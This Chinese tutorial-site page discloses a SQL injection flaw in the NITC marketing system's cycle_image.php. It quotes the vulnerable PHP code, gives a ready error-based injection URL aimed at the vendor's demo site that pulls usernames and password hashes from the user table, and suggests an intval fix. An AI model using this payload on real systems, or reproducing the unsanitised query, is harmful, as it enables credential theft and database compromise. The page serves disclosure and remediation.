网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

NITC营销系统SQL注入漏洞 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 注入出现在cycle_image php?phpdefine( IN_LOCK, true );define( INIT_NO_USERS, true );define( INIT_NO_SMARTY, true );require( includes init php );header( Content-type: text x...

注入出现在cycle_image.php

 

<?php
define( "IN_LOCK", true );
define( "INIT_NO_USERS", true );
define( "INIT_NO_SMARTY", true );
require( "./includes/init.php" );
header( "Content-type: text/xml; charset=utf-8" );
header( "Expires: Fri, 14 Mar 1980 20:53:00 GMT" );
header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" );
header( "Pragma: no-cache" );
$s = explode( "^", trim( $_GET['language'] ) );//用^分隔得到数组$s
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?><bcaster>";
$sql = "select * from ".$site->table( "ad" )." where language_id=".$s[0]." and category='".$s[1]."' and type=0 and state=0 order by sort_order desc";//$s[0]没加单引号,无视gpc注入
$res = $db->getAllCached( $sql );
foreach ( $res as $row )
{
    if ( is_file( "upload/adfile/".$row['file'] ) )
    {
        echo "<item item_url=\"".$_CFG['weburl']."/upload/adfile/".$row['file']."\" link=\"".$row['url']."\" />";
    }
}
echo "</bcaster>";
?>



官网测试:

http://demo.cnnitc.com/cycle_image.php?language=1%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(floor(rand(0)*2),(select%20concat(user_name,0x23,password)%20from%20nitc_user%20limit%200,1))x%20FROM%20INFORMATION_SCHEMA.tables%20GROUP%20BY%20x)a)#
 

n.jpg

 

修复方案:

language接收的是个数组,对每个值遍历进行:

$language=intval($_GET['language']);

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论